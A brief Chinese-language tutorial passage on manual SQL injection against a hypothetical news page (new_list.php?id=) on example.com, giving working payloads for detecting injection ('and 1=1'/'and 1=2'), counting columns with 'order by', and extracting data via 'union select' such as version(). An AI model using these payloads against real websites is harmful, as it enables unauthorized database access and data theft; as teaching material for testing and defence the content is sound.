判断注入点:假设存在一个新闻列表页面new_list.php,其链接参数为id。正常访问http://example.com/new_list.php?id=1,数据库执行select * from news where id=1。可以尝试提交http://example.com/new_list.php?id=1 and 1=1,若页面返回正常,再尝试http://example.com/new_list.php?id=1 and 1=2,若返回内容为空,说明该参数可能存在注入点。
判断字段数量:通过order by N来判断,如http://example.com/new_list.php?id=1 order by 1,若返回正常,继续尝试order by 2、order by 3等,直到返回内容不正常,可确定字段数量。假设到order by 4时返回不正常,说明字段数少于 4 个。
联合查询获取信息:若确定有 3 个字段,可以使用union select进行联合查询,如http://example.com/new_list.php?id=1 and 1=2 union select 1,2,3,根据返回结果进一步获取数据库版本、用户信息等,例如http://example.com/new_list.php?id=1 and 1=2 union select 1,version(),3可获取数据库版本信息。